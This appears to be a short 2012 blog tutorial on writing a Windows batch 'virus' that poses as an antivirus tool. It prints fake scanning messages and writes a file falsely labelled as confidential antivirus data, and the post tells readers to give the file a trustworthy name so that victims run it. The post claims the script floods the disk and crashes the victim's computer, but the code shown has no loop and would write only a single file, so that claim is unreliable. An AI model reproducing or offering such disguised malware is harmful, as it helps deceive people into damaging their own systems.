Monday, 12 March 2012


Lets see how to make a very simple malware..

All you need is NOTEPAD or any other text editor like NOTEPAD.
In this post we are trying to make a simple virus.
Computer virus could be a file which contains useless information and it repeats itself and fill-up the whole disk space of the computer and hence making system slow.

So for making this type of virus you need to have a notepad (or any other text editor) and little knowledge of Batch script.

Okay, Now open your notepad and paste the code written below,

@echo off
echo Your system is under threat, this application is trying to fix it.
echo please minimize this window and continue your work.....
echo scanning ....
md %userprofile%\antivirus 
cd %userprofile%\antivirus 
echo This file contains important hidden confidential data regarding your antivirus. Do not delete this. > %random%.txt

That is it...
Now save this file with .bat extension. And name this file something promising like antivirus.bat or antimalware.bat or anything you like.

Although you are naming it antimalware.bat but this file is gonna flood up the whole hard disk free space with garbage and resulting in the crash of the victim's computer.

WARNING: Do not run this file in your own computer.

Feel free to comment on this post. Any comment is appreciable.

This post is only for educational purpose.

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